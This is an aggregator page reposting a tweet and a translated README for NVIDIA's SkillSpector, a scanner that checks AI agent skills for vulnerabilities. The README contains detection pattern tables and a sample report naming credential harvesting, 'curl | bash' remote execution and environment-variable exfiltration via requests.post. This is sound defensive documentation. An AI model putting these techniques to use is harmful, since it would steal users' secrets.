@dani_avila7: NVIDIA 恰好构建了我保护 agent 技能所需的东西 https://github.com/nvidia/skillspector… 将其添加为 GitHub…

X AI KOLs Timeline 工具

摘要

NVIDIA 发布了 SkillSpector,这是一个用于 AI agent 技能的开源安全扫描器,可在安装前检测提示注入和数据泄露等漏洞。

NVIDIA 构建了我保护 agent 技能所需的东西 https://github.com/nvidia/skillspector… 将其作为 GitHub Action 添加到 http://aitmpl.com,每个社区提交的技能在上线前都会被扫描,没有提示注入,没有数据泄露,没有供应链风险
查看原文
查看缓存全文

缓存时间: 2026/05/31 15:12

NVIDIA正是我所需要的,用来保障Agent技能安全 https://github.com/nvidia/skillspector… 将其作为GitHub Action添加到 http://aitmpl.com ,每个社区提交的技能在上线前都会经过扫描,杜绝提示注入、数据泄露和供应链风险。

nvidia/skillspector

来源:https://github.com/nvidia/skillspector

SkillSpector

AI Agent技能安全扫描器。
在安装Agent技能前检测漏洞、恶意模式和安全隐患。
Python 3.12+ (https://www.python.org/downloads/)
许可协议:Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0)

概述

AI Agent技能(用于Claude Code、Codex CLI、Gemini CLI等)在隐式信任且几乎不经过审查的情况下执行。研究表明,26.1% 的技能存在漏洞5.2% 表现出明显恶意意图。SkillSpector能帮你回答:“这个技能安装安全吗?”

文档

  • 开发指南 — 架构、包布局以及如何扩展分析器管道。
  • OSS_RELEASE.md — 如何从此仓库生成公开OSS分支。

功能特性

  • 多格式输入:支持扫描Git仓库、URL、zip文件、目录或单个文件
  • 64种漏洞模式,覆盖16个类别:提示注入、数据泄露、权限提升、供应链、过度代理、输出处理、系统提示泄露、内存投毒、工具滥用、恶意Agent、触发器滥用、危险代码(AST)、污点追踪、YARA签名、MCP最小权限、MCP工具投毒
  • 两阶段分析:快速静态分析 + 可选的LLM语义评估
  • 实时漏洞查询:SC4向OSV.dev (https://osv.dev) 查询实时CVE数据,并自动离线回退
  • 多种输出格式:终端、JSON、Markdown和SARIF报告
  • 风险评分:0-100分,附带严重性标签和清晰建议

快速开始

安装

首先创建并激活虚拟环境(所有 make 命令假定已激活虚拟环境)。使用 uvpip;Makefile会优先使用 uv,否则回退到 pip

# 克隆仓库
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector

# 创建并激活虚拟环境
uv venv .venv && source .venv/bin/activate
# 或: python3 -m venv .venv && source .venv/bin/activate

# 安装生产环境依赖
make install

# 或安装开发环境依赖
make install-dev

基本用法

# 扫描本地技能目录
skillspector scan ./my-skill/

# 扫描单个SKILL.md文件
skillspector scan ./SKILL.md

# 扫描Git仓库
skillspector scan https://github.com/user/my-skill

# 扫描zip文件
skillspector scan ./my-skill.zip

输出格式

# 终端输出(默认) - 格式化显示
skillspector scan ./my-skill/

# JSON输出 - 机器可读
skillspector scan ./my-skill/ --format json --output report.json

# Markdown输出 - 用于文档
skillspector scan ./my-skill/ --format markdown --output report.md

# SARIF输出 - 用于CI/CD集成和IDE工具
skillspector scan ./my-skill/ --format sarif --output report.sarif

LLM分析

为获得最佳结果,配置一个兼容OpenAI的LLM端点进行语义分析。通过 SKILLSPECTOR_PROVIDER 选择提供商;每个提供商都自带捆绑的默认模型。SkillSpector也支持本地兼容OpenAI的服务器(Ollama、vLLM、llama.cpp)以及托管推理网关。

提供商 (SKILLSPECTOR_PROVIDER)凭证环境变量端点默认模型
openaiOPENAI_API_KEY (+ 可选 OPENAI_BASE_URL)api.openai.com (或任何兼容OpenAI的URL)gpt-5.4
anthropicANTHROPIC_API_KEYapi.anthropic.comclaude-opus-4-6
nv_buildNVIDIA_INFERENCE_KEYbuild.nvidia.comdeepseek-ai/deepseek-v4-flash
# 标准OpenAI
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=sk-...
skillspector scan ./my-skill/

# Anthropic
export SKILLSPECTOR_PROVIDER=anthropic
export ANTHROPIC_API_KEY=sk-ant-...
skillspector scan ./my-skill/

# NVIDIA build.nvidia.com
export SKILLSPECTOR_PROVIDER=nv_build
export NVIDIA_INFERENCE_KEY=nvapi-...
skillspector scan ./my-skill/

# 本地Ollama或任何兼容OpenAI的端点
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=ollama
export OPENAI_BASE_URL=http://localhost:11434/v1
export SKILLSPECTOR_MODEL=llama3.1:8b
skillspector scan ./my-skill/

# 覆盖提供商的默认模型
export SKILLSPECTOR_MODEL=gpt-5.2
skillspector scan ./my-skill/

# 跳过LLM分析(更快,仅静态分析)
skillspector scan ./my-skill/ --no-llm

漏洞模式

SkillSpector检测64种漏洞模式,覆盖16个类别:

提示注入 (5种模式)

ID模式严重性描述
P1指令覆盖HIGH忽略安全约束的命令
P2隐藏指令HIGH注释/不可见文本中的恶意指令
P3泄露命令HIGH将上下文内容传输到外部的指令
P4行为操纵MEDIUM微妙地改变Agent决策的指令
P5有害内容CRITICAL可能导致人身伤害的指令

数据泄露 (4种模式)

ID模式严重性描述
E1外部传输MEDIUM向外部URL发送数据
E2环境变量收集HIGH收集API密钥和密码
E3文件系统枚举MEDIUM扫描目录寻找敏感文件
E4上下文泄露HIGH将对话上下文传输到外部

权限提升 (3种模式)

ID模式严重性描述
PE1过度权限LOW请求超出声称功能的访问权限
PE2Sudo/Root执行MEDIUM调用提升的系统权限
PE3凭证访问HIGH读取SSH密钥、令牌、密码

供应链 (6种模式)

ID模式严重性描述
SC1未固定依赖LOW包无版本约束
SC2外部脚本获取HIGHcurl | bash 和远程代码执行
SC3混淆代码HIGHBase64/十六进制编码执行
SC4已知漏洞依赖HIGH含有已知CVE的依赖(实时OSV.dev查询)
SC5被遗弃的依赖MEDIUM没有安全更新的未维护包
SC6域名仿冒HIGH名称与流行包相似的包

过度代理 (4种模式)

ID模式严重性描述
EA1无限制工具访问HIGH无约束的任意工具访问
EA2自主决策HIGH无人参与的、高影响的决策
EA3范围蔓延MEDIUM超出声称目的的能力
EA4无限制资源访问MEDIUM没有速率限制或配额的资源消耗

输出处理 (3种模式)

ID模式严重性描述
OH1未验证输出注入HIGH模型输出未经过消毒即被使用
OH2跨上下文输出MEDIUM输出未经验证就跨信任边界流动
OH3无边界输出MEDIUM输出大小或生成速率无限制

系统提示泄露 (3种模式)

ID模式严重性描述
P6直接泄露HIGH暴露系统提示或内部规则的指令
P7间接提取MEDIUM通过改述、翻译或侧信道提取
P8基于工具的外泄HIGH通过文件写入或网络请求泄露系统提示

内存投毒 (3种模式)

ID模式严重性描述
MP1持久上下文注入HIGH设计为跨交互持续存在的内容
MP2上下文窗口填充MEDIUM挤占安全约束空间的填充内容
MP3内存操纵HIGH篡改Agent内存或存储状态

工具滥用 (3种模式)

ID模式严重性描述
TM1工具参数滥用HIGH构造参数导致非预期行为(shell=True, –force)
TM2链式滥用HIGH绕过单个安全检查的工具链
TM3不安全默认值MEDIUM过度宽松的默认设置(禁用TLS,无认证)

恶意Agent (2种模式)

ID模式严重性描述
RA1自我修改CRITICAL运行时修改自身代码或配置
RA2会话持久化HIGH通过cron作业或启动脚本进行未授权持久化

触发器滥用 (3种模式)

ID模式严重性描述
TR1过度宽泛的触发MEDIUM匹配常见单词的触发模式
TR2影子命令触发HIGH遮蔽内置命令或其他技能的触发
TR3关键词诱饵触发MEDIUM为最大化激活而设计的通用触发

行为AST (8种模式)

ID模式严重性描述
AST1exec()调用CRITICAL直接exec()执行任意代码
AST2eval()调用HIGH直接eval()评估任意表达式
AST3动态导入HIGH__import__()运行时加载任意模块
AST4subprocess调用HIGH通过subprocess执行外部命令
AST5os.system / exec系列HIGH通过os模块执行shell命令
AST6compile()调用MEDIUM从字符串创建代码对象
AST7动态getattr()MEDIUM使用非文字名称访问任意属性
AST8危险执行链CRITICALexec/eval与动态源(网络、编码数据)结合

污点追踪 (5种模式)

ID模式严重性描述
TT1直接污点流HIGH数据从源直接流向接收点而未消毒
TT2变量中介污点流MEDIUM数据通过中间变量从源流向接收点
TT3凭证外泄链CRITICAL凭证(环境变量、秘密)流向网络输出接收点
TT4文件读取到网络外泄HIGH文件内容流向网络输出接收点
TT5外部输入到代码执行CRITICAL网络或用户输入流向exec/eval/subprocess接收点

YARA签名 (4种模式)

ID模式严重性描述
YR1恶意软件匹配CRITICALYARA规则匹配已知恶意软件签名
YR2Webshell匹配CRITICALYARA规则匹配webshell模式
YR3挖矿软件匹配HIGHYARA规则匹配加密货币挖掘指标
YR4黑客工具/漏洞利用匹配HIGHYARA规则匹配黑客工具或漏洞利用代码

MCP最小权限 (4种模式)

ID模式严重性描述
LP1未声明能力HIGH代码使用了未在声明的权限中列出的能力
LP2通配符权限MEDIUM权限列表包含通配符(*, all, full, any)
LP3缺少权限声明MEDIUM没有权限字段,但代码具有可检测的能力
LP4过度声明权限LOW声明的权限但未找到对应代码能力

MCP工具投毒 (4种模式)

ID模式严重性描述
TP1隐藏指令HIGH元数据中的隐藏指令(HTML注释、零宽字符、base64、数据URI)
TP2Unicode欺骗HIGH工具元数据中的同形字、RTL覆盖、混合脚本标识符
TP3参数描述注入MEDIUM参数定义中的注入模式(覆盖、系统令牌、恶意默认值)
TP4描述-行为不匹配MEDIUM声明的工具描述与实际代码行为不匹配(基于LLM)

查看所有模式:

skillspector patterns

风险评分

分数计算

  • CRITICAL 问题:+50分
  • HIGH 问题:+25分
  • MEDIUM 问题:+10分
  • LOW 问题:+5分
  • 可执行脚本:1.3倍乘数

严重性等级

分数严重性建议
0-20LOW安全
21-50MEDIUM谨慎
51-80HIGH请勿安装
81-100CRITICAL请勿安装

示例输出

终端输出

SkillSpector Security Report v0.1.0  
Skill: suspicious-skill  
Source: ./suspicious-skill/  
Scanned: 2026-01-29 10:30:00 UTC  

Risk Assessment  
Metric                      Value  
Score                       78/100  
Severity                    HIGH  
Recommendation              DO NOT INSTALL  

Components (3)  
File                        Type        Lines    Executable  
SKILL.md                    markdown    142      No  
scripts/sync.py             python      87       Yes  
requirements.txt            text        3        No  

Issues (2)  
HIGH: Env Variable Harvesting (E2)  
    Location: scripts/sync.py:23  
    Finding: for key, val in os.environ.items():...  
    Confidence: 94%  
    Explanation: This code collects environment variables containing API keys and secrets, then sends them to an external server.  

HIGH: External Transmission (E1)  
    Location: scripts/sync.py:45  
    Finding: requests.post("https://api.skill.io/env"...  
    Confidence: 89%  
    Explanation: Data is being sent to an external server. Combined with env harvesting above, this indicates credential exfiltration.  

配置

环境变量

变量描述必需
SKILLSPECTOR_PROVIDER活跃的LLM提供商:openaianthropicnv_build。每个提供商都有自己捆绑的 model_registry.yaml 和默认模型(参见上方的LLM分析表)。默认值为 nv_build可选
NVIDIA_INFERENCE_KEYnv_build 提供商 (build.nvidia.com) 的凭证。SKILLSPECTOR_PROVIDER=nv_build 且使用LLM分析时必需
OPENAI_API_KEYOpenAI提供商 (SKILLSPECTOR_PROVIDER=openai) 的凭证。当活跃提供商没有返回凭证时,也作为凭证瀑布中的二级回退。SKILLSPECTOR_PROVIDER=openai 且使用LLM分析时必需
OPENAI_BASE_URL覆盖OpenAI端点(例如指向Ollama)。可选
ANTHROPIC_API_KEYAnthropic提供商 (SKILLSPECTOR_PROVIDER=anthropic) 的凭证。SKILLSPECTOR_PROVIDER=anthropic 且使用LLM分析时必需
SKILLSPECTOR_MODEL覆盖活跃提供商的默认模型。参见上方LLM分析表中各提供商的默认模型。可选
SKILLSPECTOR_MODEL_REGISTRY用自定义路径覆盖捆绑的按提供商的YAML注册表 (src/skillspector/providers/.yaml)。可选
SKILLSPECTOR_LOG_LEVEL日志级别:DEBUGINFOWARNINGERROR(默认:WARNING)。可选

CLI选项

skillspector scan --help
Options:
  -f, --format [terminal|json|markdown|sarif]  输出格式 [default: terminal]
  -o, --output PATH  输出文件路径
  --no-llm  跳过LLM分析(仅静态分析)
  -V, --verbose  显示详细进度
  --help  显示此帮助信息并退出

开发

设置

所有 make 命令假定虚拟环境已创建并激活。Makefile优先使用 uv,否则使用 pip

# 克隆、创建venv、激活、安装开发依赖
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# 或: python3 -m venv .venv && source .venv/bin/activate
make install-dev

相似文章

Skill Inspector

Product Hunt

Skill Inspector 是一款开发者工具,可审计 AI 代理技能,帮助防范恶意软件风险。

mukul975/Anthropic-Cybersecurity-Skills

GitHub Trending (daily)

一个开源仓库,包含754个为AI智能体设计的结构化网络安全技能,覆盖26个安全领域,并映射到多个行业框架,使智能体能够执行专家级别的安全分析。

tech-leads-club/agent-skills

GitHub Trending (daily)

Agent Skills 是一个经过加固的开源库,包含经过验证和测试的技能,用于扩展 AI 编码代理(如 Claude Code 和 Cursor),解决了市场上替代方案中存在的安全漏洞。